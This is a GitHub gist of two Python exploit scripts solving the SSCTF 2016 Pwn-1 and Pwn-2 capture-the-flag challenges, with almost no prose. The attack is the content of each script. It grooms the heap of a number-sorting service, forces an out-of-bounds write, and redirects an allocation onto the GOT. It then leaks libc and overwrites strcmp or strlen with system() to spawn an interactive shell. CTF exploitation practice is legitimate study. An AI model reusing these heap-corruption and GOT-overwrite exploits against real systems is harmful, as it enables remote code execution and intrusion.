Skip to content

Instantly share code, notes, and snippets.

@akiym
Created February 29, 2016 12:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akiym/1aa875f4ec58e1c75eb6 to your computer and use it in GitHub Desktop.
Save akiym/1aa875f4ec58e1c75eb6 to your computer and use it in GitHub Desktop.
SSCTF 2016 Quals - Pwn-1, Pwn-2
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ''
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ''
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
def process(cmd):
import subprocess
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = 'pwn.lab.seclover.com'
port = 11111
offset = {
'__libc_start_main': 0x16d60,
'system': 0x3bc90,
}
else:
host = '127.0.0.1'
port = 4000
offset = {
'__libc_start_main': 0x19990,
'system': 0x40190,
}
s = connect(host, port)
def history():
recvuntil('_CMD_$ ')
s.send('history\n')
def reload(id):
recvuntil('_CMD_$ ')
s.send('reload\n')
recvuntil(': ')
s.send('%d\n' % id)
def clear():
recvuntil('_CMD_$ ')
s.send('clear\n')
def sort(*numbers):
assert len(numbers) <= 32
recvuntil('_CMD_$ ')
s.send('sort\n')
recvuntil(': ')
s.send('%d\n' % len(numbers))
for n in numbers:
recvuntil(': ')
s.send('%d\n' % n)
def sort_query(idx):
recvuntil('Choose: ')
s.send('1\n')
recvuntil(': ')
s.send('%d\n' % idx)
recvuntil('[*L*] Query result: ')
return recvuntil('\n')[:-1]
def sort_update(idx, n):
recvuntil('Choose: ')
s.send('2\n')
recvuntil(': ')
s.send('%d\n' % idx)
recvuntil(': ')
s.send('%d\n' % n)
def sort_numbers():
recvuntil('Choose: ')
s.send('3\n')
recvuntil('[*L*] The sorted result is: ')
return recvuntil('\n')[:-1]
def sort_quit():
recvuntil('Choose: ')
s.send('7\n')
def sort__(size, history=False):
numbers = [i for i in range(1, size/4)]
sort(*numbers)
def sort_(size, history=False):
sort__(size)
if history:
sort_numbers()
sort_quit()
# []: in use {}: free
# {8}{16}
sort_(8)
sort_(16)
# [8][8]{8}[ 24 ][ 32 ]
sort_(24, True)
sort_(32, True)
# [8][8][8][X24 ][ 32 ]
# |
# +-> len=0x7fffffff
sort__(8)
sort_update(1, 0x7fffffff)
sort_numbers()
sort_quit()
# [8][8][8][X24 ][ 32 ]{8}
sort_(8)
# [8][8][8][X24 ][ 32 ][8][16]X
# |
# +-> len=0x7fffffff
sort__(16)
sort_numbers()
sort_update(3, 0x7fffffff)
sort_quit()
# [8][8][8][X24 ][ 32 ][8][16][8]
# | |
# +---> reload >---+
reload(3)
# heap上のmy_chunk情報を書き換え、0x804d00cに確保されるようにする
sort_update((0x805e040-(0x804e0ac))/4, 0x100)
sort_update((0x805e044-(0x804e0ac))/4, 0)
sort_update((0x805e048-(0x804e0ac))/4, 0x804d00c) # memset@got
sort_quit()
recvuntil('_CMD_$ ')
s.send('sort\n')
recvuntil(': ')
s.send('32\n')
recvuntil(': ')
s.send('a\n')
libc = int(sort_query(0)) - offset['__libc_start_main']
print 'libc : %x' % (libc & 0xffffffff)
ret = 0x8048388
sort_update(11, libc+offset['system']) # strcmp@got
sort_update(12, ret) # exit@got
sort_quit()
recvuntil('_CMD_$ ')
s.send('sh\n')
interact()
# -*- coding: utf-8 -*-
import os
import sys
import time
import re
import struct
import socket
p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
def connect(host, port):
return socket.create_connection((host, port))
def recvuntil(st, debug=False):
ret = ''
while st not in ret:
lret = s.recv(1)
if debug and len(lret) > 0:
sys.stdout.write(lret)
ret += lret
return ret
def recvn(n):
ret = ''
while len(ret) != n:
ret += s.recv(1)
return ret
def interact():
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
def process(cmd):
import subprocess
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host = 'pwn.lab.seclover.com'
port = 22222
offset = {
'strtol': 0x305b0,
'system': 0x3bc90,
}
else:
host = '127.0.0.1'
port = 4000
offset = {
'strtol': 0x345c0,
'system': 0x40190,
}
s = connect(host, port)
cookie = int(process('./rand'))
def history():
recvuntil('_CMD_$ ')
s.send('history\n')
def reload(id):
recvuntil('_CMD_$ ')
s.send('reload\n')
recvuntil(': ')
s.send('%d\n' % id)
def clear():
recvuntil('_CMD_$ ')
s.send('clear\n')
def sort(*numbers):
assert len(numbers) <= 32
recvuntil('_CMD_$ ')
s.send('sort\n')
recvuntil(': ')
s.send('%d\n' % len(numbers))
for n in numbers:
recvuntil(': ')
s.send('%d\n' % n)
def sort_query(idx):
recvuntil('Choose: ')
s.send('1\n')
recvuntil(': ')
s.send('%d\n' % idx)
recvuntil('[*L*] Query result: ')
return recvuntil('\n')[:-1]
def sort_update(idx, n):
recvuntil('Choose: ', True)
s.send('2\n')
recvuntil(': ')
s.send('%d\n' % idx)
recvuntil(': ')
s.send('%d\n' % n)
def sort_numbers():
recvuntil('Choose: ')
s.send('3\n')
recvuntil('[*L*] The sorted result is: ')
return recvuntil('\n')[:-1]
def sort_quit():
recvuntil('Choose: ')
s.send('7\n')
def sort__(size):
numbers = [i for i in range(1, (size-4)/4)]
sort(*numbers)
def sort_(size, history=False):
sort__(size)
if history:
sort_numbers()
sort_quit()
# []: in use {}: free
# {16}
sort_(16)
# [8]{8}[ 24 ]{ 32 }
sort_(24, True)
sort_(32)
# [8][8][ 24 ]{ 32 }[ 40 ]
sort_(40, True)
# [8]{8}[ 24 ][ 32 ][X 40 ]
# |
# +-> len=0x7fffffff
sort__(32)
sort_update(6, 0x7fffffff)
sort_numbers()
sort_quit()
# [8]{8}[ 24 ][ 32 ][X 40 ]{16}
sort_(16)
# [8][8][ 24 ][ 32 ][X 40 ]{16}[ 24 ]
sort_(24, True)
# [8][8][ 24 ][ 32 ][X 40 ]{16}[ 24 ]{ 56 }
sort__(56)
sort_update(5, cookie ^ 0x7fffffff)
sort_quit()
# [8][8][ 24 ][ 32 ][X 40 ][8][8][ 24 ][ 24 ]{ 32 }
sort_(24, True)
# [8][8][ 24 ][ 32 ][X 40 ][8][8][ 24 ][ 24 ][8]{ 24 }
# | |
# +---> reload >---+
reload(3)
# heap上のmy_chunk情報を書き換え、0x804c00cに確保されるようにする
sort_update((0x805d058-0x804d0f8)/4, 0x100)
sort_update((0x805d05c-0x804d0f8)/4, 0)
sort_update((0x805d060-0x804d0f8)/4, 0x804c00c) # putchar@got
sort_quit()
ret = 0x804866a
got = [
ret,
0x8048706, # getc
0x8048716, # strtol
ret,
0x8048736, # strlen
ret,
ret,
0x8048766, # malloc
ret,
0x8048786, # puts
ret,
ret, # exit
]
recvuntil('_CMD_$ ')
s.send('sort\n')
recvuntil(': ')
s.send('12\n')
for addr in got:
recvuntil(': ')
s.send('%d\n' % addr)
libc = int(sort_query(2)) - offset['strtol']
print 'libc : %x' % (libc & 0xffffffff)
sort_update(4, libc+offset['system']) # strlen@got
sort_quit()
recvuntil('_CMD_$ ')
s.send('sort\n')
recvuntil(': ')
s.send('1\n')
recvuntil(': ')
s.send('sh\n')
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment